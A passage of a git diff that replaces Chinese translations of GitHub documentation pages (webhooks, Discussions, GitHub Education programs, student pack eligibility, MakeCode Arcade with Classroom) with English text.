URL 发送 HTTP POST 有效负载。 Web 挂钩可用于更新外部议题跟踪器、触发 CI 构建、更新备份镜像，甚至部署到生产服务器。 您只受想象力的限制。 +Webhooks can be installed on{% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/),{% endif %} an [organization][org-hooks], a specific [repository][repo-hooks], or a {% data variables.product.prodname_github_app %}. Once installed, the webhook will be sent each time one or more subscribed events occurs. -Web 挂钩可以安装在{% ifversion ghes or ghae %} [{% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#global-webhooks/)、{% endif %}[组织][org-hooks]、特定[仓库][repo-hooks]或 {% data variables.product.prodname_github_app %} 上。 安装后，每当发生一个或多个订阅事件时，都会发送 web 挂钩。 +You can create up to {% ifversion ghes or ghae %}250{% else %}20{% endif %} webhooks for each event on each installation target {% ifversion ghes or ghae %}({% data variables.product.prodname_ghe_server %} instance, specific organization, or specific repository).{% else %}(specific organization or specific repository).{% endif %} -您可以为每个安装目标{% ifversion ghes or ghae %}（{% data variables.product.prodname_ghe_server %}实例、特定组织或特定仓库）{% else %}（特定组织或特定仓库）{% endif %}上的每个事件创建最多 {% ifversion ghes or ghae %}250{% else %}20{% endif %} 个 web 挂钩。 - -## 事件 +## Events {% data reusables.webhooks.webhooks_intro %} -每个事件对应于您的组织和/或仓库可能发生的一组特定操作。 例如，如果您订阅了 `issues`，则每当议题被打开、关闭、标记等操作时，您都会收到详细的有效负载。 +Each event corresponds to a certain set of actions that can happen to your organization and/or repository. For example, if you subscribe to the `issues` event you'll receive detailed payloads every time an issue is opened, closed, labeled, etc. -要了解可用 web 挂钩事件及其有效负载的完整列表，请参阅“[web 挂钩事件和有效负载](/developers/webhooks-and-events/webhook-events-and-payloads)”。 +For a complete list of available webhook events and their payloads, see "[Webhook events and payloads](/developers/webhooks-and-events/webhook-events-and-payloads)." -## Ping 事件 +## Ping event {% data reusables.webhooks.ping_short_desc %} -有关 `ping` 事件 web 挂钩有效负载的更多信息，请参阅 [`ping`](/webhooks/event-payloads/#ping) 事件。 +For more information about the `ping` event webhook payload, see the [`ping`](/webhooks/event-payloads/#ping) event. [org-hooks]: /rest/reference/orgs#webhooks/ [repo-hooks]: /rest/reference/repos#webhooks diff --git a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md index 018a18dccd..1470bba1bc 100644 --- a/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md +++ b/translations/zh-CN/content/discussions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -1,60 +1,60 @@ --- -title: 关于讨论 -intro: '使用讨论来提问和回答问题、共享信息、发布公告以及进行或参与有关 {% data variables.product.product_name %} 上项目的对话。' +title: About discussions +intro: 'Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}.' versions: fpt: '*' ghec: '*' --- -## 关于 {% data variables.product.prodname_discussions %} +## About {% data variables.product.prodname_discussions %} -使用 {% data variables.product.prodname_discussions %}，项目的社区可以创建和参与项目仓库中的对话。 讨论使项目的维护者、参与者和访问者能够在没有第三方工具的情况下，在中心位置收集和完成以下目标。 +With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. -- 共享公告和信息、收集反馈、计划和决策 -- 提出问题、讨论和回答问题，以及将讨论标记为已回答 -- 为访客和贡献者营造一种邀请的氛围，讨论目标、发展、管理和工作流程 +- Share announcements and information, gather feedback, plan, and make decisions +- Ask questions, discuss and answer the questions, and mark the discussions as answered +- Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows -![仓库的讨论选项卡](/assets/images/help/discussions/hero.png) +![Discussions tab for a repository](/assets/images/help/discussions/hero.png) -您不需要像关闭议题或拉取请求那样结束讨论。 +You don't need to close a discussion like you close an issue or a pull request. -如果仓库管理员或项目维护者为仓库启用 {% data variables.product.prodname_discussions %}，则访问仓库的任何人都可以创建和参与仓库的讨论。 仓库管理员和项目维护者可以管理仓库中的讨论和讨论类别，并固定讨论以提高讨论的可见性。 主持人和协作者可以将评论标记为答案、锁定讨论并将议题转换为讨论。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +If a repository administrator or project maintainer enables {% data variables.product.prodname_discussions %} for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -有关管理仓库讨论的更多信息，请参阅“[管理仓库中的讨论](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)”。 +For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." -## 关于讨论组织 +## About discussion organization -您可以使用类别和标签组织讨论。 +You can organize discussions with categories and labels. {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} -对于采用问题/答案格式的讨论，讨论中的单个评论可以标记为讨论的答案。 {% data reusables.discussions.github-recognizes-members %} +For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} {% data reusables.discussions.about-announcement-format %} -更多信息请参阅“[管理仓库中讨论的类别](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)”。 +For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.discussions.you-can-label-discussions %} -## {% data variables.product.prodname_discussions %} 的最佳实践 +## Best practices for {% data variables.product.prodname_discussions %} -作为社区成员或维护者，发起讨论以提出问题或讨论影响社区的信息。 更多信息请参阅“[使用讨论与维护者协作](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)”。 +As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." -参与讨论、提出问题和回答问题、提供反馈，以及与项目的社区互动。 更多信息请参阅“[参与讨论](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)”。 +Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." -您可以突出讨论社区成员之间重要、有益或堪称典范的对话。 更多信息请参阅“[管理仓库中的讨论](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)”。 +You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." -{% data reusables.discussions.you-can-convert-an-issue %}更多信息请参阅“[主持仓库中的讨论](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)”。 +{% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." -## 分享反馈 +## Sharing feedback -您可以与 {% data variables.product.company_short %} 分享您对 {% data variables.product.prodname_discussions %} 的反馈。 要加入对话，请参阅 [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22)。 +You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). -## 延伸阅读 +## Further reading -- “[关于 {% data variables.product.prodname_dotcom %} 上的书写和格式化](/github/writing-on-github/about-writing-and-formatting-on-github)” -- "[搜索讨论](/search-github/searching-on-github/searching-discussions)" -- "[关于通知](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" -- "[调解评论和对话](/communities/moderating-comments-and-conversations)" -- “[在 {% data variables.product.prodname_dotcom %} 上维护您的安全](/communities/maintaining-your-safety-on-github)” +- "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" +- "[Searching discussions](/search-github/searching-on-github/searching-discussions)" +- "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" +- "[Moderating comments and conversations](/communities/moderating-comments-and-conversations)" +- "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/communities/maintaining-your-safety-on-github)" diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md index 14faec677e..77e4c35b89 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-campus-advisors.md @@ -1,6 +1,6 @@ --- -title: 关于 Campus Advisors -intro: '作为讲师或辅导员，可在您的学校通过 Campus Advisors 培训和支持学习使用 {% data variables.product.prodname_dotcom %}。' +title: About Campus Advisors +intro: 'As an instructor or mentor, learn to use {% data variables.product.prodname_dotcom %} at your school with Campus Advisors training and support.' redirect_from: - /education/teach-and-learn-with-github-education/about-campus-advisors - /github/teaching-and-learning-with-github-education/about-campus-advisors @@ -9,15 +9,14 @@ redirect_from: versions: fpt: '*' --- - -教授、教师和辅导员可使用 Campus Advisors 在线培训掌握 Git 和 {% data variables.product.prodname_dotcom %}，通过 {% data variables.product.prodname_dotcom %} 学习最佳教学方法。 更多信息请参阅 "[Campus Advisors](https://education.github.com/teachers/advisors)"。 +Professors, teachers and mentors can use the Campus Advisors online training to master Git and {% data variables.product.prodname_dotcom %} and learn best practices for teaching students with {% data variables.product.prodname_dotcom %}. For more information, see "[Campus Advisors](https://education.github.com/teachers/advisors)." {% note %} -**注：**作为讲师，无法在 {% data variables.product.product_location %} 上为学生创建帐户。 学生必须在 {% data variables.product.product_location %} 上创建自己的帐户。 +**Note:** As an instructor, you can't create accounts on {% data variables.product.product_location %} for your students. Students must create their own accounts on {% data variables.product.product_location %}. {% endnote %} -教师可以使用 {% data variables.product.prodname_education %} 管理软件开发课程。 {% data variables.product.prodname_classroom %} 可用于发布代码、提供反馈，以及使用 {% data variables.product.product_name %} 管理课程。 更多信息请参阅“[使用 {% data variables.product.prodname_classroom %} 管理课程](/education/manage-coursework-with-github-classroom)”。 +Teachers can manage a course on software development with {% data variables.product.prodname_education %}. {% data variables.product.prodname_classroom %} allows you to distribute code, provide feedback, and manage coursework using {% data variables.product.product_name %}. For more information, see "[Manage coursework with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom)." -如果您是学生或教师并且您的学校未作为 {% data variables.product.prodname_campus_program %} 学校与 {% data variables.product.prodname_dotcom %} 合作，您也可以个人申请使用 {% data variables.product.prodname_dotcom %} 的折扣。 更多信息请参阅“[使用 {% data variables.product.prodname_dotcom %} 做家庭作业](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork)”或“[在课堂上和研究中使用 {% data variables.product.prodname_dotcom %}](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research/)”。 +If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. For more information, see "[Use {% data variables.product.prodname_dotcom %} for your schoolwork](/education/teach-and-learn-with-github-education/use-github-for-your-schoolwork)" or "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research/)." diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md index 4bf64067ad..e99cae3fc8 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub 校园计划 -intro: '{% data variables.product.prodname_campus_program %} 免费向希望为其社区充分利用 {% data variables.product.prodname_dotcom %} 的学校提供 {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %}。' +title: About GitHub Campus Program +intro: '{% data variables.product.prodname_campus_program %} offers {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} free-of-charge for schools that want to make the most of {% data variables.product.prodname_dotcom %} for their community.' redirect_from: - /education/teach-and-learn-with-github-education/about-github-education - /github/teaching-and-learning-with-github-education/about-github-education @@ -9,39 +9,38 @@ redirect_from: - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-campus-program versions: fpt: '*' -shortTitle: GitHub 校园计划 +shortTitle: GitHub Campus Program --- +{% data variables.product.prodname_campus_program %} is a package of premium {% data variables.product.prodname_dotcom %} access for teaching-focused institutions that grant degrees, diplomas, or certificates. {% data variables.product.prodname_campus_program %} includes: -{% data variables.product.prodname_campus_program %} 是授予学位、文凭或证书、以教学为重点的机构的高级 {% data variables.product.prodname_dotcom %} 访问包。 {% data variables.product.prodname_campus_program %} 包括： +- No-cost access to {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} for all of your technical and academic departments +- 50,000 {% data variables.product.prodname_actions %} minutes and 50 GB {% data variables.product.prodname_registry %} storage +- Teacher training to master Git and {% data variables.product.prodname_dotcom %} with our [Campus Advisor program](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors) +- Exclusive access to new features, GitHub Education-specific swag, and free developer tools from {% data variables.product.prodname_dotcom %} partners +- Automated access to premium {% data variables.product.prodname_education %} features, like the {% data variables.product.prodname_student_pack %} -- 所有的技术和学术部门可以免费访问 {% data variables.product.prodname_ghe_cloud %} 和 {% data variables.product.prodname_ghe_server %} -- 50,000 {% data variables.product.prodname_actions %} 分钟和 50GB {% data variables.product.prodname_registry %} 存储空间 -- 通过我们的 [Campus Advisors 计划](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-campus-advisors)进行 Git 和 {% data variables.product.prodname_dotcom %} 教师培训 -- 独家访问来自 {% data variables.product.prodname_dotcom %} 合作伙伴的 GitHub 教育版特定内容和免费开发者工具 -- 自动访问高级 {% data variables.product.prodname_education %} 功能，如 {% data variables.product.prodname_student_pack %} - -要阅读关于教师如何使用 GitHub 的信息，请参阅 [GitHub Education 故事](https://education.github.com/stories) +To read about how GitHub is used by educators, see [GitHub Education stories.](https://education.github.com/stories) ## {% data variables.product.prodname_campus_program %} terms and conditions -- 许可证免费一年，每两年自动续订一次。 只要您继续在协议条款范围内运作，您就可以继续使用免费许可证。 只要同意[计划条款](https://education.github.com/schools/terms)，欢迎任何学校加入。 +- The license is free for one year and will automatically renew for free every 2 years. You may continue on the free license so long as you continue to operate within the terms of the agreement. Any school that can agree to the [terms of the program](https://education.github.com/schools/terms) is welcome to join. -- 请注意，许可证供全校使用。 内部 IT 部门、学术研究组、合作者、学生和其他非学术部门只要不从许可证的使用中获利，就有资格使用许可证。 设在大学的外部资助的研究小组不得使用免费许可证。 +- Please note that the licenses are for use by the whole school. Internal IT departments, academic research groups, collaborators, students, and other non-academic departments are eligible to use the licenses so long as they are not making a profit from its use. Externally funded research groups that are housed at the university may not use the free licenses. -- 您必须向所有技术和学术部门提供 {% data variables.product.prodname_dotcom %} ，您的学校徽标将作为 {% data variables.product.prodname_campus_program %} 合作伙伴在 GitHub Education 网站上共享。 +- You must offer {% data variables.product.prodname_dotcom %} to all of your technical and academic departments and your school’s logo will be shared on the GitHub Education website as a {% data variables.product.prodname_campus_program %} Partner. -- 企业中的新组织将自动添加到您的企业帐户。 要在添加在您的学校加入 {% data variables.product.prodname_campus_program %} 之前就存在的组织，请联系 [GitHub Education 支持](https://support.github.com/contact/education)。 有关管理企业的更多信息，请参阅[企业管理员文档](/admin)。 企业中的新组织将自动添加到您的企业帐户。 要添加在您的学校加入 {% data variables.product.prodname_campus_program %} 之前就存在的组织，请联系 GitHub Education 支持。 +- New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact [GitHub Education Support](https://support.github.com/contact/education). For more information about administrating your enterprise, see the [enterprise administrators documentation](/admin). New organizations in your enterprise are automatically added to your enterprise account. To add organizations that existed before your school joined the {% data variables.product.prodname_campus_program %}, please contact GitHub Education Support. -要阅读更多关于 {% data variables.product.prodname_dotcom %} 隐私实践的信息，请参阅[“全球隐私实践”](/github/site-policy/global-privacy-practices) +To read more about {% data variables.product.prodname_dotcom %}'s privacy practices, see ["Global Privacy Practices"](/github/site-policy/global-privacy-practices) -## {% data variables.product.prodname_campus_program %} 申请资格 +## {% data variables.product.prodname_campus_program %} Application Eligibility -- 通常，校园首席技术官/首席信息官、院长、系主任或技术官代表校园签署课程条款。 +- Often times, a campus CTO/CIO, Dean, Department Chair, or Technology Officer signs the terms of the program on behalf of the campus. -- 如果您的学校不发布电子邮件地址， {% data variables.product.prodname_dotcom %} 将联系您的帐户管理员，提供其他选项，允许您向学生分发学生开发人员包。 +- If your school does not issue email addresses, {% data variables.product.prodname_dotcom %} will reach out to your account administrators with an alternative option to allow you to distribute the student developer pack to your students. -更多信息请参阅[官方 {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) 网页。 +For more information, see the [official {% data variables.product.prodname_campus_program %}](https://education.github.com/schools) page. -如果您是学生或教师并且您的学校未作为 {% data variables.product.prodname_campus_program %} 学校与 {% data variables.product.prodname_dotcom %} 合作，您也可以个人申请使用 {% data variables.product.prodname_dotcom %} 的折扣。 要申请学生开发包，请[查看申请表](https://education.github.com/pack/join)。 +If you're a student or academic faculty and your school isn't partnered with {% data variables.product.prodname_dotcom %} as a {% data variables.product.prodname_campus_program %} school, then you can still individually apply for discounts to use {% data variables.product.prodname_dotcom %}. To apply for the Student Developer Pack, [see the application form](https://education.github.com/pack/join). diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md index ae7e769ab4..e8ce38a6ac 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/index.md @@ -1,6 +1,6 @@ --- -title: 在教育机构使用 GitHub -intro: '通过 {% data variables.product.prodname_education %} 以及我们针对学生和讲师的各种培训计划，利用 {% data variables.product.prodname_dotcom %} 使您机构的学生、讲师和 IT 员工最大限度地获益。' +title: Use GitHub at your educational institution +intro: 'Maximize the benefits of using {% data variables.product.prodname_dotcom %} at your institution for your students, instructors, and IT staff with {% data variables.product.prodname_education %} and our various training programs for students and instructors.' redirect_from: - /education/teach-and-learn-with-github-education/use-github-at-your-educational-institution - /github/teaching-and-learning-with-github-education/using-github-at-your-educational-institution @@ -11,6 +11,6 @@ children: - /about-github-campus-program - /about-campus-experts - /about-campus-advisors -shortTitle: 在您的机构 +shortTitle: At your institution --- diff --git a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md index 74d0e0a9bd..514bf5d42f 100644 --- a/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md +++ b/translations/zh-CN/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved.md @@ -1,6 +1,6 @@ --- -title: 为什么我的学生开发包申请未获得批准？ -intro: '查看申请 {% data variables.product.prodname_student_pack %}未获批准的常见原因，并了解成功重新申请的窍门。' +title: Why wasn't my application for a student developer pack approved? +intro: 'Review common reasons that applications for the {% data variables.product.prodname_student_pack %} are not approved and learn tips for reapplying successfully.' redirect_from: - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved @@ -10,64 +10,63 @@ redirect_from: - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved versions: fpt: '*' -shortTitle: 申请未被批准 +shortTitle: Application not approved --- - {% tip %} -**提示：** {% data reusables.education.about-github-education-link %} +**Tip:** {% data reusables.education.about-github-education-link %} {% endtip %} -## 学术关联文档不明确 +## Unclear academic affiliation documents -如果您上传的图片中提及的日期或时间表不符合我们的资格标准，我们需要进一步证明您的学术身份。 +If the dates or schedule mentioned in your uploaded image do not match our eligibility criteria, we require further proof of your academic status. -如果您上传的图像没有明确地确定您当前的学术身份，或者上传的图像模糊，则我们需要您的学术身份的进一步证明。 {% data reusables.education.upload-proof-reapply %} +If the image you uploaded doesn't clearly identify your current academic status or if the uploaded image is blurry, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## 使用具有未经验证域的学术电子邮件 +## Using an academic email with an unverified domain -如果您的学术电子邮件地址有未经验证的域，则我们需要您的学术地位的进一步证明。 {% data reusables.education.upload-proof-reapply %} +If your academic email address has an unverified domain, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -## 使用来自电子邮件政策宽松的学校的学术电子邮件 +## Using an academic email from a school with lax email policies -如果您的学校在付费学生注册之前发出电子邮件地址，则我们需要您的学术地位的进一步证明。 {% data reusables.education.upload-proof-reapply %} +If your school issues email addresses prior to paid student enrollment, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} {% data reusables.education.pdf-support %} -如果您有关于学校域的其他疑问或问题，请让学校的 IT 人员联系我们。 +If you have other questions or concerns about the school domain please ask your school IT staff to contact us. -## 学术电子邮件地址已占用 +## Academic email address already used -如果您的学术电子邮件地址已用于为其他 {% data variables.product.prodname_dotcom %} 帐户申请 {% data variables.product.prodname_student_pack %}，则无法重复使用该学术电子邮件地址成功申请其他 {% data variables.product.prodname_student_pack %}。 +If your academic email address was already used to request a {% data variables.product.prodname_student_pack %} for a different {% data variables.product.prodname_dotcom %} account, you cannot reuse the academic email address to successfully apply for another {% data variables.product.prodname_student_pack %}. {% note %} -**注：**维护多个个人帐户违反了 {% data variables.product.prodname_dotcom %} [服务条款](/articles/github-terms-of-service/#3-account-requirements)。 +**Note:** It is against the {% data variables.product.prodname_dotcom %} [Terms of Service](/articles/github-terms-of-service/#3-account-requirements) to maintain more than one individual account. {% endnote %} -如果您有多个个人用户帐户，则必须合并您的帐户。 要保留折扣，请保留已授予折扣的帐户。 您可以通过将所有电子邮件地址添加到保留的帐户来重命名保留的帐户，并保留您的贡献历史记录。 +If you have more than one personal user account, you must merge your accounts. To retain the discount, keep the account that was granted the discount. You can rename the retained account and keep your contribution history by adding all your email addresses to the retained account. -更多信息请参阅： -- “[合并多个用户帐户](/articles/merging-multiple-user-accounts)” -- “[更改 {% data variables.product.prodname_dotcom %} 用户名](/articles/changing-your-github-username)” -- “[添加电子邮件地址到 {% data variables.product.prodname_dotcom %} 帐户](/articles/adding-an-email-address-to-your-github-account)” +For more information, see: +- "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)" +- "[Changing your {% data variables.product.prodname_dotcom %} username](/articles/changing-your-github-username)" +- "[Adding an email address to your {% data variables.product.prodname_dotcom %} account](/articles/adding-an-email-address-to-your-github-account)" -## 学生身份不合格 +## Ineligible student status -以下情况时，您没有资格获得 {% data variables.product.prodname_student_pack %}： -- 您已注册参加不属于 [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) 的非正式学习计划，但未注册参加授予学位或文凭的学习课程。 -- 您正在攻读将在当前学术会议上终止的学位。 -- 您未满 13 岁。 +You're ineligible for a {% data variables.product.prodname_student_pack %} if: +- You're enrolled in an informal learning program that is not part of the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) and not enrolled in a degree or diploma granting course of study. +- You're pursuing a degree which will be terminated in the current academic session. +- You're under 13 years old. -您的讲师仍可申请 {% data variables.product.prodname_education %} 折扣供课堂使用。 如果您是编程学校或训练营的学生，并且您的学校参加 [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools)，您将有资格获得 {% data variables.product.prodname_student_pack %}。 +Your instructor may still apply for a {% data variables.product.prodname_education %} discount for classroom use. If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). -## 延伸阅读 +## Further reading -- “[申请学生开发包](/articles/applying-for-a-student-developer-pack)” -- “[申请学生开发包](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)” +- "[How to get the GitHub Student Developer Pack without a student ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/)" on {% data variables.product.prodname_blog %} +- "[Apply for a student developer pack](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack)" diff --git a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md index fec9254159..b2f402b4e8 100644 --- a/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md +++ b/translations/zh-CN/content/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/about-using-makecode-arcade-with-github-classroom.md @@ -1,32 +1,31 @@ --- -title: 关于使用 MakeCode Arcade 与 GitHub Classroom -shortTitle: 关于使用 MakeCode Arcade -intro: '您可以将 MakeCode Arcade 配置为 {% data variables.product.prodname_classroom %} 中作业的在线 IDE。' +title: About using MakeCode Arcade with GitHub Classroom +shortTitle: About using MakeCode Arcade +intro: 'You can configure MakeCode Arcade as the online IDE for assignments in {% data variables.product.prodname_classroom %}.' versions: fpt: '*' redirect_from: - /education/manage-coursework-with-github-classroom/student-experience-makecode - /education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom --- +## About MakeCode Arcade -## 关于 MakeCode Arcade - -MakeCode Arcade 是一个在线集成开发环境 (IDE)，用于使用拖放块编程和 JavaScript 开发复古街机游戏。 学生可以使用 MakeCode Arcade 在浏览器中编写、编辑、运行、测试和调试代码。 For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." +MakeCode Arcade is an online integrated development environment (IDE) for developing retro arcade games using drag-and-drop block programming and JavaScript. Students can write, edit, run, test, and debug code in a browser with MakeCode Arcade. For more information about IDEs and {% data variables.product.prodname_classroom %}, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.readme-contains-button-for-online-ide %} -学生第一次单击按钮访问 MakeCode Arcade 时，必须使用 {% data variables.product.product_name %} 证书登录 MakeCode Arcade。 登录后，学生将有权访问包含作业仓库中代码、在 MakeCode Arcade 上完全配置的开发环境。 +The first time the student clicks the button to visit MakeCode Arcade, the student must sign into MakeCode Arcade with {% data variables.product.product_name %} credentials. After signing in, the student will have access to a development environment containing the code from the assignment repository, fully configured on MakeCode Arcade. -有关在 MakeCode Arcade 上工作的详细信息，请参阅 MakeCode Arcade 网站上的 [MakeCode Arcade 一览](https://arcade.makecode.com/ide-tour)和[文档](https://arcade.makecode.com/docs)。 +For more information about working on MakeCode Arcade, see the [MakeCode Arcade Tour](https://arcade.makecode.com/ide-tour) and [documentation](https://arcade.makecode.com/docs) on the MakeCode Arcade website. -MakeCode Arcade 不支持对小组作业进行多人编辑。 但学生可以协作使用 Git 和 {% data variables.product.product_name %} 功能，如分支和拉取请求。 +MakeCode Arcade does not support multiplayer-editing for group assignments. Instead, students can collaborate with Git and {% data variables.product.product_name %} features like branches and pull requests. -## 关于使用 MakeCode Arcade 提交作业 +## About submission of assignments with MakeCode Arcade -默认情况下，MakeCode Arcade 配置为推送到 {% data variables.product.product_location %} 上的作业仓库。 使用 MakeCode Arcade 处理作业后，学生应使用屏幕底部的 {% octicon "mark-github" aria-label="The GitHub mark" %}{% octicon "arrow-up" aria-label="The up arrow icon" %} 按钮将更改推送到 {% data variables.product.product_location %}。 +By default, MakeCode Arcade is configured to push to the assignment repository on {% data variables.product.product_location %}. After making progress on an assignment with MakeCode Arcade, students should push changes to {% data variables.product.product_location %} using the {% octicon "mark-github" aria-label="The GitHub 